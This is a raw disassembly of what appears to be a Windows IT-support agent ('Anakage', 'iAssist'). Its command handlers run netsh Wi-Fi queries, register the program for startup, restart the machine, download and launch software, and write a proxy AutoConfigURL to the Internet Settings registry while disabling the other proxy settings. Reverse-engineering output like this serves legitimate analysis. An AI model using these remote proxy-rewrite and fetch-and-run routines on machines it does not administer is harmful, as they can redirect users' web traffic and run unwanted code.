lea rdx, [0x14015eb14]
lea rcx, [rsp + 0x478]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a1e9c
mov r8d, eax
lea rdx, [rsp + 0x1488]
lea rcx, [rsp + 0x478]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x600]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1488]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a1eb2
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x600]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0x9c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x9c8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
lea rdx, str.showProgressDlg
call fcn.14000d8d0
movzx ebx, al
lea rcx, [rsp + 0x9c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test bl, bl
je 0x1400a1f36
lea rax, [rsp + 0x1490]
mov qword [rsp + 0x58], rax
lea rdx, str.showProgressDlg
lea rcx, [rsp + 0x1490]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
call fcn.14010a220
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x9d8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.iAssistStatus.ll
lea rcx, [rsp + 0x9d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x14a0]
call fcn.1400fd8a0
nop
lea r8, [rsp + 0x9d0]
mov rdx, rax
lea rcx, [rsp + 0x1498]
call fcn.140006490
lea rcx, [0x1401e9678]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x1a8]
lea r8, [rsp + 0x9d8]
lea rdx, [rsp + 0x5f8]
mov rcx, rax
call fcn.1401074a0
nop
lea rcx, [rsp + 0x14a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
mov rcx, rax
lea rdx, str.success
call fcn.14000d8d0
test al, al
setne bl
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x14a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400a2097
cmp bl, 1
jne 0x1400a20d4
xor r8d, r8d
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a2077
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x14b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
jmp 0x1400a209c
cmp bl, 1
jne 0x1400a20d4
cmp al, 1
jne 0x1400a20d4
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r8, rax
mov edi, 1
mov dword [rsp + 0x28], edi
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movzx esi, bl
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x5f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x478]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x600]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.addAutoConfigScriptAddress
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a2319
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x14b8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x14c0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x480]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x480]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + 0x360]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400a22fd
cmp qword [rsp + 0x360], 0
je 0x1400a22fd
lea rcx, [rsp + 0x480]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x480]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.AutoConfigURL
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor r14d, r14d
mov dword [rsp + 0x738], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x738]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 4]
xor r8d, r8d
lea rdx, str.AutoDetect
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x73c], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x73c]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 4]
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x480]
jmp 0x14009d7a2
lea rdx, str.isWiFiConnected
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a2448
lea rdx, str.netsh_wlan_show_interface
lea rcx, [rsp + 0x14c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x168]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
mov rdx, rax
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
xor r8d, r8d
lea rdx, str.airtelhive
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a23fb
lea rdx, str.netsh_wlan_show_interface_name_airtelhive_
lea rcx, [rsp + 0x14d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x14d8]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.State_:_connected
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
sete sil
jmp 0x1400a2435
lea r8, [0x140150ad0]
lea rdx, [0x14015eb14]
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
xor r8d, r8d
lea rdx, str.state:connected
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
lea rcx, [rsp + 0x168]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.RegisterAppForStartup
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a2852
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x610]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x608]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x14e8]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x14f0]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x610]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x14f8]
lea rcx, [rsp + 0x110]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x608]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x14f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0x9f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x9f8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdi, rax
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0x9f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x9f0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rsi, rax
lea rdx, [rsp + 0x10110]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x10110]
lea rcx, [rsp + 0x488]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [0x140191878]
lea rcx, [rsp + 0x1b0]
call fcn.1400ff820
nop
lea rdx, [0x140154860]
lea rcx, [rsp + 0x9e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x488]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x9e0]
lea rcx, [rsp + 0x1500]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x488]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1500]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.Anakage
lea rcx, [rsp + 0x9e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea r8, [rsp + 0x9e8]
lea rcx, [rsp + 0x1508]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1508]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1510]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
je 0x1400a277e
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e41d0
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x1518]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1518]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x1520]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400e1ab0
mov rdx, rsi
mov rcx, rdi
call fcn.1400f51a0
nop
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x488]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x9f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x608]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x610]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x110]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.RestartUserMachine
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a2934
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x368]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1528]
lea rcx, [rsp + 0x368]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x368]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1528]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x368]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov ecx, eax
call fcn.140108080
mov ecx, 0x15f90
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x368]
jmp 0x14009cc67
lea rdx, str.WriteDownloadURL
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a2b3b
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1530]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1530]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1538]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1538]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rdx, str.AnakageCoursesSoftwares
lea rcx, [rsp + 0xa00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1540]
call fcn.140101410
nop
lea r8, [rsp + 0xa00]
mov rdx, rax
lea rcx, [rsp + 0x618]
call fcn.140006490
nop
lea rcx, [rsp + 0x1540]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.AnakageCoursesSoftwares_softwareURL.ll
lea rcx, [rsp + 0xa08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1548]
call fcn.140101410
nop
lea r8, [rsp + 0xa08]
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.140006490
nop
lea rcx, [rsp + 0x1548]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x618]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
lea rcx, [rsp + 0x618]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
jne 0x1400a2b1f
lea rcx, [rsp + 0xa10]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
lea rdx, [0x1401569d4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rbx, rax
test rax, rax
je 0x1400a2b1f
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
mov rcx, rbx
call fcn.1400399b0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
nop
lea rcx, [rsp + 0xa10]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x618]
jmp 0x14009d7a2
lea rdx, str.DownloadSoftware
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a3b26
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3c0
lea rcx, [rsp + 0xa58]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x140152140]
lea rcx, [rsp + 0xa58]
call fcn.14000d8d0
test al, al
je 0x1400a2b98
xor r8d, r8d
xor edx, edx
lea rcx, str.Note:_Kindly_click_on_any_application_once_and_wait_for_it_to_respond._Your_patience_is_highly_appreciated...____Clicking_any_application_multiple_times_will_fail_the_previous_iterations
call sub.mfc140u.dll_AfxInitNetworkAddressControl
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x16d0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x640]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x370]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a2cac
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1550]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov r8, rax
lea rdx, [rsp + 0x1558]
mov rcx, r13
call fcn.1400b3290
nop
mov rdx, rax
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1558]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x2f2f
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov ebx, eax
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1560]
lea rcx, [rsp + 0x170]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x370]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1560]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a2d61
mov edx, 0x28
xor r8d, r8d
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1568]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1568]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1570]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1570]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xc0]
